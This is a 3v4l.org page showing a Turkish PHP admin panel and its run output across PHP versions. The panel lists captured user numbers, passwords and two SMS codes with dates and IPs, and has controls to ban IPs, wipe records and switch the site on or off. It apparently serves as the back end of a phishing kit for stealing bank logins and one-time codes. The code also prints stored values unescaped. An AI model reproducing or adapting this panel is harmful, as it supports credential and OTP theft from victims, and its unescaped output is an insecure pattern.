3v4l.org

run code in 300+ PHP versions simultaneously
<?php include("baglan.php"); include("denetle.php"); session_start(); header("Cache-control:private"); if($_SESSION['logged'] != "1") { header("location:giris.php"); die(); } if($_GET['tumsil']==1){ mysql_query("TRUNCATE TABLE ak"); echo "<script>window.location.href='index.php';</script>"; } ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <title>Yönetim Paneli</title> <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="refresh" content="5"> <style> .table { margin-bottom: 0px; } </style> </head> <body> <center><h1>Yönetim Paneline Hoşgeldiniz</h1></center> <div class="container"> <br><a href="#" onclick="javascript:if(confirm('Silmek istediğinize emin misiniz?')) window.location.assign('?tumsil=1');">Tüm Kayıtları Sil</a> <br> <a href="aktif.php"> Siteyi Pasif Et </a> / <a href="pasif.php"> Siteyi Aktif Et </a> <div class="well"> <table class="table"> <thead> <tr> <th>#</th> <th>Kullanıcı No</th> <th>Şifre</th> <th>SMS1</th> <th>SMS2</th> <th>Tarih</th> <th>Sil</th> </tr> </thead> <tbody> <?php $calistir = mysql_query("select * from ak order by id DESC") or die("Hata Olustu!"); while($oku=mysql_fetch_assoc($calistir)) { $not=$oku['notif']; ?> <tr <? if ($not=='1'){?>style="background:#FFD429"<? } ?>> <th scope="row"><?php echo $oku['id']; ?></th> <td><?php echo $oku['kullanici']; ?></td> <td><?php echo $oku['pass']; ?></td> <td><?php echo $oku['sms1']; ?></td> <td><?php echo $oku['sms2']; ?></td> <td><?php echo $oku['tarih']; ?></td> <td><a href="ipban.php?ipbanla=<?php echo $oku['ip']; ?>&id=<?php echo $oku['id']; ?>">IP Banla</a> / <a href="sil.php?id=<?php echo $oku['id']; ?>">Sil</a></td> </tr> <?php } ?> </tbody> </table> <script src="js/bootstrap.min.js"></script> </body> </html>
Output for 8.5.0
Warning: include(): open_basedir restriction in effect. File(baglan.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/cjkVr on line 3 Warning: include(baglan.php): Failed to open stream: Operation not permitted in /in/cjkVr on line 3 Warning: include(): Failed opening 'baglan.php' for inclusion (include_path='.:') in /in/cjkVr on line 3 Warning: include(): open_basedir restriction in effect. File(denetle.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/cjkVr on line 5 Warning: include(denetle.php): Failed to open stream: Operation not permitted in /in/cjkVr on line 5 Warning: include(): Failed opening 'denetle.php' for inclusion (include_path='.:') in /in/cjkVr on line 5 Warning: session_start(): Session cannot be started after headers have already been sent (sent from /in/cjkVr on line 3) in /in/cjkVr on line 6 Warning: Cannot modify header information - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 7 Warning: Undefined global variable $_SESSION in /in/cjkVr on line 9 Warning: Trying to access array offset on null in /in/cjkVr on line 9 Warning: Cannot modify header information - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 10
Output for 8.4.15
/bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.35' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.34' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15)
Process exited with code 1.
Output for 8.3.0 - 8.3.28, 8.4.1 - 8.4.14
Warning: include(): open_basedir restriction in effect. File(baglan.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/cjkVr on line 3 Warning: include(baglan.php): Failed to open stream: Operation not permitted in /in/cjkVr on line 3 Warning: include(): Failed opening 'baglan.php' for inclusion (include_path='.:') in /in/cjkVr on line 3 Warning: include(): open_basedir restriction in effect. File(denetle.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/cjkVr on line 5 Warning: include(denetle.php): Failed to open stream: Operation not permitted in /in/cjkVr on line 5 Warning: include(): Failed opening 'denetle.php' for inclusion (include_path='.:') in /in/cjkVr on line 5 Warning: session_start(): Session cannot be started after headers have already been sent in /in/cjkVr on line 6 Warning: Cannot modify header information - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 7 Warning: Undefined global variable $_SESSION in /in/cjkVr on line 9 Warning: Trying to access array offset on null in /in/cjkVr on line 9 Warning: Cannot modify header information - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 10
Output for 8.1.0 - 8.1.33, 8.2.0 - 8.2.29
Warning: include(): open_basedir restriction in effect. File(baglan.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/cjkVr on line 3 Warning: include(baglan.php): Failed to open stream: Operation not permitted in /in/cjkVr on line 3 Warning: include(): Failed opening 'baglan.php' for inclusion (include_path='.:') in /in/cjkVr on line 3 Warning: include(): open_basedir restriction in effect. File(denetle.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/cjkVr on line 5 Warning: include(denetle.php): Failed to open stream: Operation not permitted in /in/cjkVr on line 5 Warning: include(): Failed opening 'denetle.php' for inclusion (include_path='.:') in /in/cjkVr on line 5 Warning: session_start(): Session cannot be started after headers have already been sent in /in/cjkVr on line 6 Warning: Cannot modify header information - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 7 Warning: Undefined global variable $_SESSION in /in/cjkVr on line 9 Warning: Trying to access array offset on value of type null in /in/cjkVr on line 9 Warning: Cannot modify header information - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 10
Output for 4.3.4
Warning: main(baglan.php): failed to open stream: No such file or directory in /in/cjkVr on line 3 Warning: main(): Failed opening 'baglan.php' for inclusion (include_path='.:') in /in/cjkVr on line 3 Warning: main(denetle.php): failed to open stream: No such file or directory in /in/cjkVr on line 5 Warning: main(): Failed opening 'denetle.php' for inclusion (include_path='.:') in /in/cjkVr on line 5 Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /in/cjkVr:3) in /in/cjkVr on line 6 Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /in/cjkVr:3) in /in/cjkVr on line 6 Notice: Undefined index: logged in /in/cjkVr on line 9

preferences:
60.79 ms | 416 KiB | 5 Q